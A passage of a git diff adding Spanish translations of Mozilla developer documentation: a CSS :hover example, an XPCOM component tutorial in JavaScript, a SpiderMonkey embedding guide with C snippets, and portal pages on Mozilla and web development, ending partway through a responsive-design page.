+<pre>&lt;meta http-equiv='Content-Type' content='text/html; charset=UTF-8'&gt;
+&lt;style type='text/css'&gt;
+
+.gracias { visibility: hidden; }
+
+#primero:hover + .gracias { visibility: visible; }
+#primero:hover ~ * span { color: red; } /* esto:'~' es CSS-3 */
+
+&lt;/style&gt;
+
+&lt;ul&gt;
+  &lt;li id='primero'&gt;Por favor, ponga el cursor encima de esta frase.&lt;/li&gt;
+  &lt;li class='gracias'&gt;Le doy las gracias con CSS-2.1&lt;/li&gt;
+  &lt;li&gt;Item normal y corriente&lt;/li&gt;
+  &lt;li&gt;El futuro: &lt;span&gt;span en rojo gracias a CSS-3&lt;/span&gt;&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+<h3 id="Notas_finales"> Notas finales </h3>
+<ul><li> Sí, es cierto que con <a href="es/JavaScript">JavaScript</a> o PHP pueden hacerse cosas mucho más avanzadas, pero aquí está la gracia del artículo, que sin necesidad de Javascript o PHP, solo con CSS, puede añadírsele mucho dinamismo a las páginas web.
+</li></ul>
+<ul><li> Este artículo es sólo una introducción al tema, por razones didácticas los ejemplos son premeditadamente simples y limitados a una sola pseudo-clase (:hover). Puede que en el futuro exista un <a href="es/CSS_Din%c3%a1mico_II">CSS Dinámico II</a> que profundice más en el tema, muestre el uso de otras pseudo-clases y ejemplos más complejos.
+</li></ul>
+<p><span class="comment">Categorías</span>
+</p>
diff --git a/files/es/cómo_crear_un_componente_xpcom_en_javascript/index.html b/files/es/cómo_crear_un_componente_xpcom_en_javascript/index.html
new file mode 100644
index 0000000000..3bd03b504c
--- /dev/null
+++ b/files/es/cómo_crear_un_componente_xpcom_en_javascript/index.html
@@ -0,0 +1,191 @@
+---
+title: Cómo crear un componente XPCOM en JavaScript
+slug: Cómo_crear_un_componente_XPCOM_en_JavaScript
+tags:
+  - Complementos
+  - Todas_las_Categorías
+  - XPCOM
+  - extensiones
+translation_of: Mozilla/Tech/XPCOM/Guide/Building_components_in_JavaScript
+---
+<p> </p>
+<h2 id="Introducci.C3.B3n" name="Introducci.C3.B3n">Introducción</h2>
+<p>Éste es un tutorial del tipo "Hola Mundo" para crear un componente XPCOM en JavaScript. No se describe cómo funciona XPCOM ni se explica lo que hace cada línea de código. Todo ello se detalla en <a href="/es/XPCOM" title="es/XPCOM">otras páginas</a>.</p>
+<p>En este tutorial mostraremos qué es lo que debes hacer para conseguir un componente funcional en pocos pasos y de forma sencilla.</p>
+<p><strong>Advertencia</strong>: lo expuesto aquí ha sido desarrollado en un Mac. El comportamiento puede variar en otros sistemas operativos.</p>
+<h2 id="Implementaci.C3.B3n" name="Implementaci.C3.B3n">Implementación</h2>
+<p>Éste es un componente de ejemplo, con un único método que devuelve la cadena "Hola MozDev!".</p>
+<h3 id="Definir_la_interfaz" name="Definir_la_interfaz">Definir la interfaz</h3>
+<p>Si quieres usar tu componente desde JavaScript, o en otros componentes XPCOM, debes definir las interfaces que quieres mostrar (si quieres usar tu componente <em>sólo</em> desde Javascript, puedes usar el truco <code>wrappedJSObject</code> para que no necesites definir interfaces como se explica aquí. Mira un ejemplo <a class="external" href="http://kb.mozillazine.org/Dev_:_Extending_the_Chrome_Protocol">aquí (en)</a>).</p>
+<p>Hay muchas interfaces ya definidas en las aplicaciones Mozilla, así que tal vez no necesites definir una nueva. Puedes mirar las interfaces XPCOM existentes de varias formas, en el código fuente Mozilla, o usando <a class="external" href="http://xpcomviewer.mozdev.org/">XPCOMViewer</a>, un GUI para ver los componentes e interfaces registradas. Puedes descargar una versión que trabaje con Firefox 2 desde <a class="external" href="http://downloads.mozdev.org/xpcomviewer/">MozDev</a>.</p>
+<p>Si existe una interfaz que cumpla tus necesidades, no necesitas escribir un IDL, o compilar un typelib, y puedes saltar a la <a href="#Creating_the_Component">siguiente sección</a>.</p>
+<p>Si no encuentras una interfaz pre-existente que te satisfaga, debes definirla. XPCOM usa un dialecto de IDL para definir interfaces, llamado <a href="/es/XPIDL" title="es/XPIDL">XPIDL</a>. A continuación tienes la definición XPIDL para nuestro componente HolaMozDev:</p>
+<p>HolaMozDev.idl</p>
+<pre>#include "nsISupports.idl"
+
+[scriptable, uuid(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx)]
+interface nsIHolaMozDev : nsISupports
+{
+  string hola();
+};
+</pre>
+<p>Ten en cuenta que tienes que generar un UUID para cada componente XPCOM que crees. Mira <a href="/es/Generating_GUIDs" title="es/Generating_GUIDs">Generating GUIDs</a> para más información.</p>
+<div class="note">
+ Los UUID no pueden ser escritos puesto que se debe garantizar su unicidad. <strong>Deben ser generados</strong> empleando un algoritmo que la garantice.</div>
+<h3 id="Compilar_la_biblioteca_de_tipos" name="Compilar_la_biblioteca_de_tipos">Compilar la biblioteca de tipos</h3>
+<p>La definición de tu interfaz debe compilarse a forma binaria (XPT) para poder ser registrada y usada dentro de las aplicaciones Mozilla. La compilación puede hacerse usando el SDK de Gecko. Puedes averiguar cómo obtener versiones Mac, Linux, y Windows del SDK de Gecko leyendo el artículo <a href="/es/Gecko_SDK" title="es/Gecko_SDK">Gecko SDK</a>.</p>
+<div class="note">
+ <strong>Nota:</strong> la versión Mac del SDK proporcionado para su descarga es sólo para PowerPC. Si necesitas una versión Intel, tendrás que compilarlo tú mismo como se describe en esa página.</div>
+<p>Ejecuta esta orden para compilar la biblioteca de tipos. Aquí, <code>{sdk_dir}</code> es el directorio del SDK de Gecko descomprimido.</p>
+<pre class="eval">{sdk_dir}/bin/xpidl -m typelib -w -v -I {sdk_dir}/idl -e HolaMozDev.xpt HolaMozDev.idl
+</pre>
+<p>(El modificador -I es una i mayúscula, no una L minúscula) Esta orden creará el archivo de la bilioteca de tipos HelloWorld.xpt en el directorio de trabajo actual.</p>
+<h3 id="Crear_el_componente" name="Crear_el_componente">Crear el componente</h3>
+<p>HolaMozDev.js</p>
+<pre>/***********************************************************
+constantes
+***********************************************************/
+
+// referencia a la interfaz definida en nsIHolaMozDev.idl
+const nsIHolaMozDev = Components.interfaces.nsIHolaMozDev;
+
+// referencia requerida a la interfaz base que todos los componentes deben implementar
+const nsISupports = Components.interfaces.nsISupports;
+
+// UUID único identificando nuestro componente
+// puedes obtener el tuyo desde : http://kruithof.xs4all.nl/uuid/uuidgen
+const CLASS_ID = Components.ID("{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx}");
+
+// descripción
+const CLASS_NAME = "Un Componente XPCOM de muestra";
+
+// identificador único textual
+const CONTRACT_ID = "@ejemplo.evelio.net/holamozdev;1";
+
+/***********************************************************
+definición de la clase
+***********************************************************/
+
+// el constructor de clase
+function HolaMozDev() {
+};
+
+// definición de la clase
+HolaMozDev.prototype = {
+
+  // define la función que declaramos en la interfaz
+  hola: function() {
+      return "Hola MozDev!";
+  },
+  //Desde nsISupports
+  QueryInterface: function(aIID)
+  {
+    if (!aIID.equals(nsIHolaMozDev) &amp;&amp;
+        !aIID.equals(nsISupports))
+      throw Components.results.NS_ERROR_NO_INTERFACE;
+    return this;
+  }
+};
+
+/***********************************************************
+la factoría de la clase
+
+Este objeto es miembro del objeto global Components.classes.
+Se deriva del ID de contrato, p.e.:
+
+miHolaMozDev = Components.classes["@ejemplo.evelio.net/holamozdev;1"].
+                          createInstance(Components.interfaces.nsIHolaMozDev);
+
+***********************************************************/
+var FabricaHolaMozDev = {
+  createInstance: function (aOuter, aIID)
+  {
+    if (aOuter != null)
+      throw Components.results.NS_ERROR_NO_AGGREGATION;
+    return (new HolaMozDev()).QueryInterface(aIID);
+  }
+};
+
+/***********************************************************
+definición del módulo (registro xpcom)
+***********************************************************/
+var HolaMozDevModulo = {
+  _firstTime: true,
+  registerSelf: function(aCompMgr, aFileSpec, aLocation, aType)
+  {
+    aCompMgr = aCompMgr.
+        QueryInterface(Components.interfaces.nsIComponentRegistrar);
+    aCompMgr.registerFactoryLocation(CLASS_ID, CLASS_NAME,
+        CONTRACT_ID, aFileSpec, aLocation, aType);
+  },
+
+  unregisterSelf: function(aCompMgr, aLocation, aType)
+  {
+    aCompMgr = aCompMgr.
+        QueryInterface(Components.interfaces.nsIComponentRegistrar);
+    aCompMgr.unregisterFactoryLocation(CLASS_ID, aLocation);
+  },
+
+  getClassObject: function(aCompMgr, aCID, aIID)
+  {
+    if (!aIID.equals(Components.interfaces.nsIFactory))
+      throw Components.results.NS_ERROR_NOT_IMPLEMENTED;
+
+    if (aCID.equals(CLASS_ID))
+      return FabricaHolaMozDev;
+
+    throw Components.results.NS_ERROR_NO_INTERFACE;
+  },
+
+  canUnload: function(aCompMgr) { return true; }
+};
+
+/***********************************************************
+Inicialización del módulo
+
+Cuando la aplicación registra el componente, se llama a esta función.
+
+***********************************************************/
+function NSGetModule(aCompMgr, aFileSpec) { return HolaMozDevModulo; }
+
+</pre>
+<h2 id="Instalaci.C3.B3n" name="Instalaci.C3.B3n">Instalación</h2>
+<h3 id="Para_extensiones:" name="Para_extensiones:">Para extensiones:</h3>
+<ol>
+ <li>Copia HolaMozDev.js y HolaMozDev.xpt al directorio {extensiondir}/components/.</li>
+ <li>Elimina compreg.dat y xpti.dat del directorio de tu perfil de usuario.</li>
+ <li>Reinicia la aplicación.</li>
+</ol>
+<h3 id="Para_Firefox:" name="Para_Firefox:">Para Firefox:</h3>
+<ol>
+ <li>Copia HolaMozDev.js y HolaMozDev.xpt al directorio {objdir}/dist/bin/components, si está corriendo desde el código fuente.</li>
+ <li>Elimina compreg.dat y xpti.dat del directorio components.</li>
+ <li>Elimina compreg.dat y xpti.dat del directorio de tu perfil de usuario.</li>
+ <li>Reinicia la aplicación.</li>
+</ol>
+<h2 id="Usar_tu_componente" name="Usar_tu_componente">Usar tu componente</h2>
+<pre>try {
+        // Esto es necesario para permitir el uso generalizado de componentes en JavaScript
+        netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
+
+        var miComponente = Components.classes['@ejemplo.evelio.net/holamozdev;1']
+                                    .createInstance(Components.interfaces.nsIHolaMozDev);
+
+        alert(miComponente.hola());
+} catch (unError) {
+        alert("ERROR: " + unError);
+}
+</pre>
+<h2 id="Otros_recursos" name="Otros_recursos">Otros recursos</h2>
+<ul>
+ <li>Dos temas en los foros de mozillazine sobre la implementación de componentes XPCOM en JS con algunas explicaciones, código de ejemplo, y trucos para resolver problemillas (en inglés):
+  <ul>
+   <li><a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=308369" rel="freelink">http://forums.mozillazine.org/viewtopic.php?t=308369</a></li>
+   <li><a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=367298" rel="freelink">http://forums.mozillazine.org/viewtopic.php?t=367298</a></li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://kb.mozillazine.org/Implementing_XPCOM_components_in_JavaScript">Implementing XPCOM components in JavaScript</a> en kb.mozillazine.org</li>
+ <li><a class="external" href="http://www.mozilla.org/scriptable/avoiding-leaks.html">Using XPCOM in JavaScript without leaking</a> - De lectura obligatoria.</li>
+ <li><a class="external" href="http://lxr.mozilla.org/seamonkey/source/xpcom/sample/nsSample.js">Un componente de ejemplo</a></li>
+ <li><a class="external" href="http://www.mozilla.org/scriptable/js-components-status.html">Older JS+XPCOM notes</a> - incluye información acerca de wrappedJSObject.</li>
+</ul>
diff --git a/files/es/cómo_incrustar_el_motor_javascript/index.html b/files/es/cómo_incrustar_el_motor_javascript/index.html
new file mode 100644
index 0000000000..d938b252b8
--- /dev/null
+++ b/files/es/cómo_incrustar_el_motor_javascript/index.html
@@ -0,0 +1,108 @@
+---
+title: Cómo incrustar el motor Javascript
+slug: Cómo_incrustar_el_motor_Javascript
+tags:
+  - páginas_a_traducir
+translation_of: Mozilla/Projects/SpiderMonkey/How_to_embed_the_JavaScript_engine
+---
+<p>Ver tambien <a href="/En/SpiderMonkey/JSAPI_User_Guide" title="En/SpiderMonkey/JSAPI_User_Guide">JSAPI User Guide</a>. En particular, tiene mas y mejores ejemplos de codigo.</p>
+<h2 id="A_Bare_Bones_Tutorial" name="A_Bare_Bones_Tutorial">Un esqueleto de Tutorial</h2>
+<h4 id="How_to_start_up_the_VM_and_Execute_a_Script" name="How_to_start_up_the_VM_and_Execute_a_Script">Comprobación para iniciar una maquina virtual y ejecutar un script sin ningún error:</h4>
+<ul>
+ <li>null retorna de JS_ funciones que retornan punteros.</li>
+ <li>false retorna de JS_ funciones que retornan booleanos.</li>
+</ul>
+<p>(los errores son convencionalmente guardados en una variable JSBool llamada ok).</p>
+<pre>JSRuntime *rt;
+JSContext *cx;
+JSObject *global;
+JSClass global_class = {
+	"global",0,
+	JS_PropertyStub,JS_PropertyStub,JS_PropertyStub,JS_PropertyStub,
+	JS_EnumerateStub,JS_ResolveStub,JS_ConvertStub,JS_FinalizeStub
+};
+
+/*
+ * Siempre necesitará:
+ *        un runtime por proceso,
+ *        un contexto por hilo,
+ *        un objeto global por contexto,
+ *        clases estandard (ej. fecha).
+ */
+rt = JS_NewRuntime(0x100000);
+cx = JS_NewContext(rt, 0x1000);
+global = JS_NewObject(cx, &amp;global_class, NULL, NULL);
+JS_InitStandardClasses(cx, global);
+
+/*
+ * Ahora suponga que el script contiene algún JS para evaluar, por decir "22/7" como una
+ * mala aproximación para la función matematica Math.PI, o algo mas largo, como esto:
+* "(function fact(n){if (n &lt;= 1) return 1; return n * fact(n-1)})(5)"
+ * para calcular 5!
+ */
+char *script = "...";
+jsval rval;
+JSString *str;
+JSBool ok;
+
+ok = JS_EvaluateScript(cx, global, script, strlen(script),
+					   filename, lineno, &amp;rval);
+str = JS_ValueToString(cx, rval);
+printf("script result: %s\n", JS_GetStringBytes(str));
+</pre>
+<h4 id="How_to_call_C_functions_from_JavaScript" name="How_to_call_C_functions_from_JavaScript">Como llamar funciones de C desde JavaScript</h4>
+<p>Suponga que la función en C sea llamada <code>doit</code> y le gustaria que al menos 2 parametros sean llamados (si el llamado suministra menos, el motor JS deberia asegurar que lo indefinido sea pasado por lo faltante): </p>
+<pre class="eval">#define DOIT_MINARGS 2
+
+static JSBool
+doit(JSContext *cx, JSObject *obj, uintN argc, jsval *argv, jsval *rval)
+{
+    /*
+     * Look in argv for argc actual parameters, set *rval to return a
+     * value to the caller.
+     */
+    ...
+}
+</pre>
+<p>Entonces para la conexión con JS, debe escribir:</p>
+<pre class="eval">ok = <a href="/en/SpiderMonkey/JSAPI_Reference/JS_DefineFunction" title="en/SpiderMonkey/JSAPI_Reference/JS_DefineFunction">JS_DefineFunction</a>(cx, global, "doit", doit, DOIT_MINARGS, 0);
+</pre>
+<p>O, si tenia una serie de funciones nativas para definir, las pondria probablemente en una tabla:</p>
+<pre class="eval">static <a href="/En/SpiderMonkey/JSAPI_Reference/JSFunctionSpec" title="en/JSFunctionSpec">JSFunctionSpec</a> my_functions[] = {
+    {"doit", doit, DOIT_MINARGS, 0, 0},
+    etc...
+    {0,0,0,0,0},
+};
+</pre>
+<p>(Al final, todos los ceros especificados en la función terminan la tabla), y decir:</p>
+<pre class="eval">ok = <a href="/en/SpiderMonkey/JSAPI_Reference/JS_DefineFunctions" title="en/SpiderMonkey/JSAPI_Reference/JS_DefineFunctions">JS_DefineFunctions</a>(cx, global, my_functions);
+</pre>
+<h4 id="How_to_call_JavaScript_functions_from_C" name="How_to_call_JavaScript_functions_from_C">Como llamar funciones de JavaScript  desde C</h4>
+<p>Say the click event is for the top-most or focused UI element at position (x, y):</p>
+<pre class="eval">JSObject *target, *event;
+jsval argv[1], rval;
+
+/*
+ * Find event target and make event object to represent this click.
+ * Pass cx to NewEventObject so JS_NewObject can be called.
+ */
+target = FindEventTargetAt(cx, global, x, y);
+event = NewEventObject(cx, "click", x, y);
+argv[0] = <a href="/en/SpiderMonkey/JSAPI_Reference/OBJECT_TO_JSVAL" title="en/SpiderMonkey/JSAPI_Reference/OBJECT_TO_JSVAL">OBJECT_TO_JSVAL</a>(event);
+
+/* To emulate the DOM, you might want to try "onclick" too. */
+ok = <a href="/en/SpiderMonkey/JSAPI_Reference/JS_CallFunctionName" title="en/SpiderMonkey/JSAPI_Reference/JS_CallFunctionName">JS_CallFunctionName</a>(cx, target, "onClick", 1, argv, &amp;rval);
+
+/* Now test rval to see whether we should cancel the event. */
+if (<a href="/en/SpiderMonkey/JSAPI_Reference/JSVAL_IS_BOOLEAN" title="en/SpiderMonkey/JSAPI_Reference/JSVAL_IS_BOOLEAN">JSVAL_IS_BOOLEAN</a>(rval) &amp;&amp; !<a href="/en/SpiderMonkey/JSAPI_Reference/JSVAL_TO_BOOLEAN" title="en/SpiderMonkey/JSAPI_Reference/JSVAL_TO_BOOLEAN">JSVAL_TO_BOOLEAN</a>(rval))
+    CancelEvent(event);
+</pre>
+<p>Again, I've elided error checking (such as testing for <code>!ok</code> after the call), and I've faked up some C event management routines that emulate the DOM's convention of canceling an event if its handler returns false.</p>
+<div class="originaldocinfo">
+ <h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+ <ul>
+  <li>Author: Brendan Eich</li>
+  <li>Last Updated Date: 21 February, 2000</li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/es/desarrollando_mozilla/index.html b/files/es/desarrollando_mozilla/index.html
new file mode 100644
index 0000000000..4551e8fea2
--- /dev/null
+++ b/files/es/desarrollando_mozilla/index.html
@@ -0,0 +1,16 @@
+---
+title: Desarrollando Mozilla
+slug: Desarrollando_Mozilla
+tags:
+  - Desarrollando_Mozilla
+  - Todas_las_Categorías
+---
+<p>¿Quieres echar una mano corrigiendo bugs, pero no sabes por dónde empezar?</p>
+<p>Este es el punto de partida para todo lo relacionado con el hackeo de la bestia. Descubrirás cómo conseguir el código fuente, cómo compilarlo, cómo crear parches, y todas esas cosas esenciales que cualquier hacker de Mozilla debería conocer.</p>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Documentaci.C3.B3n"><a href="/Special:Tags?tag=Desarrollando_Mozilla&amp;language=es" title="Special:Tags?tag=Desarrollando_Mozilla&amp;language=es">Documentación</a></h4> <dl> <dt><a href="/es/Descargar_el_código_fuente_de_Mozilla" title="es/Descargar_el_código_fuente_de_Mozilla">Descargar el código fuente de Mozilla</a></dt> <dd><small>El código fuente de Mozilla puede obtenerse descargando el archivo con el código fuente o usando el cliente CVS (Concurrent Versioning System).</small></dd> </dl> <dl> <dt><a href="/es/Hackeando_Firefox" title="es/Hackeando_Firefox">Hackeando Firefox</a></dt> <dd><small>Participa en el desarrollo de <em>front-end</em> de Firefox.</small></dd> </dl> <dl> <dt><a href="/es/Documentación_para_la_compilación" title="es/Documentación_para_la_compilación">Documentación para la compilación</a></dt> <dd><small>Esta sección contiente documentación sobre el sistema de compilación de Mozilla. Entre otras cosas, muestra como obtener el código y como compilarlo.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.mozilla.org/hacking/">Hacking documentation on mozilla.org (en)</a></dt> <dd><small>Another page with hacking-related documentation. We're working on this.</small></dd> </dl> <dl> <dt>Preguntas frecuentes sobre depuración.</dt> <dd><small>Los consejos de depuración son específicos para cada plataforma. Elija: <a href="/es/Depurando_Mozilla_en_Windows" title="es/Depurando_Mozilla_en_Windows">Windows</a>, <a class="external" href="http://www.mozilla.org/unix/debugging-faq.html">Linux</a>, o <a href="/es/Depurando_Mozilla_en_Mac_OS_X" title="es/Depurando_Mozilla_en_Mac_OS_X">Mac OS X</a>.</small></dd> </dl> <p><span>enlaces en rojo: ; <a href="/es/Creando_un_parche" title="es/Creando un parche">Creando un parche</a>: &lt;small&gt;Consejos para crear parches que permitan que tus cambios se incluyan.&lt;/small&gt;</span> <span><a href="/Special:Tags?tag=Desarrollando_Mozilla&amp;language=es" title="Special:Tags?tag=Desarrollando_Mozilla&amp;language=es">Ver más...</a></span></p> </td> <td> <h4 id="Comunidad">Comunidad</h4> <ul> <li>En mozillaES <ul> <li><a class="external" href="http://www.mozillaes.org/index.php?option=com_forum&amp;Itemid=122&amp;page=viewforum&amp;f=15&amp;sid=b486df56e1b6b367ab5a0e85a612bbf6">Desarrollo Mozilla</a></li> </ul> </li> </ul> <ul> <li>En la comunidad Mozilla... en inglés</li> </ul> <p>{{ DiscussionList("dev-general", "mozilla.dev.general") }}</p> <ul> <li><a class="link-irc" href="irc://irc.mozilla.org/developers">#developers en irc.mozilla.org</a></li> <li><a class="external" href="http://www.mozilla.org/community/developer-forums.html">Lista de temas específicos para todos los foros sobre desarrollo</a></li> </ul> <p><span><a href="/es/Desarrollando_Mozilla/Comunidad" title="es/Desarrollando_Mozilla/Comunidad">Ver más...</a></span></p> <h4 id="Herramientas">Herramientas</h4> <ul> <li><a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?format=guided">Bugzilla</a></li> <li><a class="external" href="http://bonsai.mozilla.org/cvsqueryform.cgi">Bonsai</a></li> <li><a href="/es/Tinderbox" title="es/Tinderbox">Tinderbox</a></li> <li><a class="external" href="http://lxr.mozilla.org/">Mozilla Cross-Reference (LXR)</a></li> </ul> <p><span><a href="/Special:Tags?tag=Desarrollando_Mozilla:Herramientas&amp;language=es" title="Special:Tags?tag=Desarrollando_Mozilla:Herramientas&amp;language=es">Ver más...</a></span></p> <h4 id="Temas_Relacionados">Temas Relacionados</h4> <dl> <dd><a href="/es/Garantía_de_Calidad" title="es/Garantía_de_Calidad">Garantía de Calidad</a>, <a href="/es/Seguridad" title="es/Seguridad">Seguridad</a></dd> </dl> </td> </tr> </tbody>
+</table>
+<p><span>Categorías</span></p>
+<p><span>Interwiki Language Links</span></p>
+<p> </p>
+
+<p>{{ languages( { "de": "de/Mozilla_entwickeln", "en": "en/Developing_Mozilla", "fr": "fr/D\u00e9veloppement_de_Mozilla", "ja": "ja/Developing_Mozilla", "pl": "pl/Programowanie_Mozilli", "pt": "pt/Desenvolvimento_Mozilla", "zh-cn": "cn/\u5f00\u53d1Mozilla" } ) }}</p>
diff --git a/files/es/desarrollo_web/index.html b/files/es/desarrollo_web/index.html
new file mode 100644
index 0000000000..c436a88778
--- /dev/null
+++ b/files/es/desarrollo_web/index.html
@@ -0,0 +1,59 @@
+---
+title: Desarrollo Web
+slug: Desarrollo_Web
+tags:
+  - Desarrollo_Web
+  - Todas_las_Categorías
+translation_of: Web/Guide
+---
+<p>
+</p>
+<div class="callout-box"><b><a class="external" href="http://www.w3c.es/Divulgacion/Guiasbreves/WebSemantica">Guía Breve de Web Semántica</a></b> <br>
+Una magnífica introducción al tema.</div> <div>
+<div>
+<p>El <b>Desarrollo Web</b> abarca todos los aspectos necesarios para desarrollar un sitio o aplicación Web. Esto implica múltiples tecnologías, la mayoría cuentan con una sección específica en este wiki. En esta sección trataremos el tema desde una perspectiva más general.
+</p>
+</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"> <a>Documentación</a> </h4>
+<dl><dt> <a class="external" href="http://www.w3c.es/Divulgacion/Guiasbreves/IndependenciaDispositivo">Guía Breve de Independencia de Dispositivo</a>
+</dt><dd> <small>"hacer la Web universal y accesible para cualquier persona, en cualquier sitio, en cualquier momento y usando cualquier dispositivo"</small>
+</dd></dl>
+<dl><dt> <a href="es/Selecci%c3%b3n_de_modo_en_Mozilla">Selección de modo en Mozilla</a>
+</dt><dd> <small>Este documento describe cómo Mozilla utiliza la declaración de DOCTYPE para determinar el modo de renderizado más apropiado para visualizar una página web. </small>
+</dd></dl>
+<dl><dt> <a href="es/Modo_casi_est%c3%a1ndar_de_Gecko">El modo casi estándar de Gecko</a>
+</dt><dd> <small>Además de los modos tradicionales, estándar y quirks, el motor gecko nos ofrece este modo intermedio. Puede que te interese.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.mozilla.org/docs/web-developer/faq.html">Mozilla Web Author FAQ (en)</a>
+</dt><dd> <small>This document answers questions that Web authors ask frequently specifically in connection with Mozilla and other Gecko-based browsers such as Firefox.</small>
+</dd></dl>
+<p><span class="alllinks"><a>Ver más...</a></span>
+</p>
+</td> <td>
+<h4 id="Comunidad" name="Comunidad"> Comunidad </h4>
+<ul><li> En MozillaES
+<ul><li> <a class="external" href="http://www.mozillaes.org/index.php?option=com_forum&amp;Itemid=122&amp;page=viewforum&amp;f=13">Desarrollo web (HTML, CSS...)</a> </li></ul>
+</li></ul>
+<ul><li> En la comunidad Mozilla... en inglés
+</li></ul>
+<p>{{ DiscussionList("dev-web-development", "mozilla.dev.web-development") }}
+</p><p><span class="alllinks"><a href="es/Desarrollo_Web/Comunidad">Ver más...</a></span>
+</p>
+<h4 id="Herramientas" name="Herramientas"> Herramientas </h4>
+<ul><li> <a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=60&amp;application=firefox">Web Developer extension</a>
+</li><li> <a href="es/Venkman">Venkman</a>, the JavaScript debugger
+</li><li> <a href="es/DOM_Inspector">DOM Inspector</a>
+</li></ul>
+<p><span class="alllinks"><a>Ver más...</a></span>
+</p>
+<h4 id="Temas_relacionados" name="Temas_relacionados"> Temas relacionados </h4>
+<dl><dd><a href="es/HTML">HTML</a>, <a href="es/CSS">CSS</a>, <a href="es/XHTML">XHTML</a>, <a href="es/XML">XML</a>, <a href="es/AJAX">AJAX</a>, <a href="es/JavaScript">JavaScript</a>, <a href="es/Est%c3%a1ndares_Web">Estándares Web</a>
+</dd></dl>
+</td> </tr> </tbody></table>
+<p><span class="comment">Categorías</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p>
+</div>
+{{ languages( { "de": "de/Webentwicklung", "en": "en/Web_Development", "fr": "fr/D\u00e9veloppement_Web", "it": "it/Sviluppo_Web", "ja": "ja/Web_Development", "pl": "pl/Programowanie_WWW" } ) }}
diff --git a/files/es/desarrollo_web/web_adaptable/index.html b/files/es/desarrollo_web/web_adaptable/index.html
new file mode 100644
index 0000000000..b2efc70e34
--- /dev/null
+++ b/files/es/desarrollo_web/web_adaptable/index.html
@@ -0,0 +1,39 @@
+---
+title: Diseño web adaptable
+slug: Desarrollo_Web/Web_adaptable
+translation_of: Web/Progressive_web_apps
+---
+<p>Con los usuarios de la web usando cada vez más dispositivos móviles para navegar sitios web y aplicaciones, los diseñadores y desarrolladores web necesitan asegurarse que sus creaciones se vean y funcionen bien tanto en dispositivos móviles como en equipos tradicionales de escritorio. El prominente diseñador Luke Wroblewski recomienda diseñar "<a class="external" href="http://www.lukew.com/ff/entry.asp?933" title="http://www.lukew.com/ff/entry.asp?933">primero para móviles</a>", en lugar de hacerlo como idea tardía al diseño para escritorio. Ya sea que el diseño para móviles sea el objetivo primario o un bonito extra, puede usar el poder de CSS para asegurarse que el mismo contenido puede accederse a través de todas las plataformas de hardware, desde teléfonos móviles a pantallas panorámicas de alta resolución.</p>
+<p>Este enfoque es conocido como "diseño web adaptable". Algunas de sus estrategias incluyen:</p>
+<ul>
+  <li><strong>Diseño líquido o fluido</strong>: Definir todos los anchos de los contenedores en términos de porcentajes de la vista del navegador, así pueden expandirse y contraerse cuando la ventana del navegador cambie de tamaño.</li>
+  <li><strong>Consultas de medios</strong>: Invocar hojas de estilo diferente basándose en las capacidades de la pantalla usada, como tamaño, resolución, relación de aspecto y profundidad de color.</li>
+  <li><strong>Imágenes fluidas</strong>: Hacer que las imágenes ocupen mayormente el máximo ancho de la pantalla.</li>
+</ul>
+<h2 id="Recursos">Recursos</h2>
+<h3 id="Overviews">Overviews</h3>
+<ul>
+  <li><a class="external" href="http://www.alistapart.com/articles/responsive-web-design/" title="http://www.alistapart.com/articles/responsive-web-design/">Responsive Web design</a>, por Ethan Marcotte</li>
+  <li><a class="external" href="http://thinkvitamin.com/design/beginners-guide-to-responsive-web-design/" title="http://thinkvitamin.com/design/beginners-guide-to-responsive-web-design/">Beginner's guide to responsive Web design</a>, por Rick Petit</li>
+  <li><a class="external" href="http://coding.smashingmagazine.com/2011/01/12/guidelines-for-responsive-web-design/" title="http://coding.smashingmagazine.com/2011/01/12/guidelines-for-responsive-web-design/">Responsive Web design: What it is and how to use it</a>, por Kayla Knight</li>
+  <li><a class="external" href="http://www.lukew.com/ff/entry.asp?1436" title="http://www.lukew.com/ff/entry.asp?1436">Multi-device Web design: an evolution</a>, por Luke Wroblewski</li>
+</ul>
+<h3 id="Técnicas">Técnicas</h3>
+<ul>
+  <li><a href="/en/CSS/Media_queries" title="CSS media queries">CSS media queries</a> reference page</li>
+  <li><a class="external" href="http://css-tricks.com/6731-css-media-queries/" title="http://css-tricks.com/6731-css-media-queries/">CSS media queries and using available space</a>, by Chris Coyier</li>
+  <li><a class="external" href="http://www.maxdesign.com.au/articles/liquid/" title="http://www.maxdesign.com.au/articles/liquid/">Liquid layouts the easy way</a>, by Russ Weakley</li>
+  <li><a class="external" href="http://unstoppablerobotninja.com/entry/fluid-images/" title="http://unstoppablerobotninja.com/entry/fluid-images/">Fluid images</a>, by Ethan Marcotte</li>
+  <li><a class="external" href="http://www.whatcreative.co.uk/blog/tips/designing-for-touch-screen/" title="http://www.whatcreative.co.uk/blog/tips/designing-for-touch-screen/">Designing for touch screen</a>, by Chris Kemm</li>
+  <li><a class="external" href="http://www.smashingmagazine.com/2011/07/22/responsive-web-design-techniques-tools-and-design-strategies/" title="http://www.smashingmagazine.com/2011/07/22/responsive-web-design-techniques-tools-and-design-strategies/">Responsive Web Design Techniques, Tools and Design Strategies</a>, by Smashing Editorial Team</li>
+</ul>
+<h3 id="Herramientas">Herramientas</h3>
+<ul>
+  <li><a href="/en-US/docs/Tools/Responsive_Design_View" title="/en-US/docs/Tools/Responsive_Design_View">Vista de diseño adaptable</a> en Firefox</li>
+</ul>
+<h3 id="Ejemplos">Ejemplos</h3>
+<ul>
+  <li><a href="/en-US/demos/devderby/2011/october" title="https://developer.mozilla.org/en-US/demos/devderby/2011/october/">DevDerby demos of CSS media queries</a></li>
